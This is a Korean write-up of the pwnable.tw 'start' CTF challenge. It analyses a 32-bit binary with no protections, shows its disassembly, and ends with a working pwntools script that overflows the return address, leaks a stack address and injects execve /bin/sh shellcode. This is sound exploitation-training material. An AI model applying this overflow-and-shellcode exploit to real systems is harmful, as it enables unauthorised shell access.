[pwnable.tw]start

보호기법은 하나도 안 걸려있다.

[*] '/vagrant/ctfs/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

_start 에서 syscall로 write, read 호출한다.

write는 esp에 있는 값을 20바이트 만큼 출력해준다. push 해준 값들인데 아마 Let's start the CTF: 이거 출력해줄 것이다. 그리고 read는 64바이트만큼 입력받을 수 있다. 그리고 마지막에 esp 정리해주고 exit으로 리턴해준다.

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 60
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

여기서 리턴을 덮어서 원하는 주소로 갈 수 있다. 근데 ret할때 esp가 스택주소가 들어있는데 0x08048087 로 리턴해주면 stack 주소를 leak 할 수 있다. 그리고 add esp, 0x14 하고 ret하니까 쉘코드가 있는 주소로 덮으면 쉘코드 실행이 된다

exploit.py

from pwn import *

# context.log_level = 'debug'
e = ELF('./start')
#p = process('./start')
p = remote('chall.pwnable.tw',10000)
gadget = 0x08048087 # mov ecx, esp ; mov dl, 0x14 ; mov bl, 1 ; mov al, 4 ; int 0x80

payload = 'A'*0x14
payload += p32(gadget)
p.sendafter(':',payload)

stack = u32(p.recv(4))
log.info('stack : ' + hex(stack))

#raw_input()
payload2 = 'A'*0x14
payload2 += p32(stack + 0x14)
payload2 += '\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'
p.send(payload2)

p.interactive()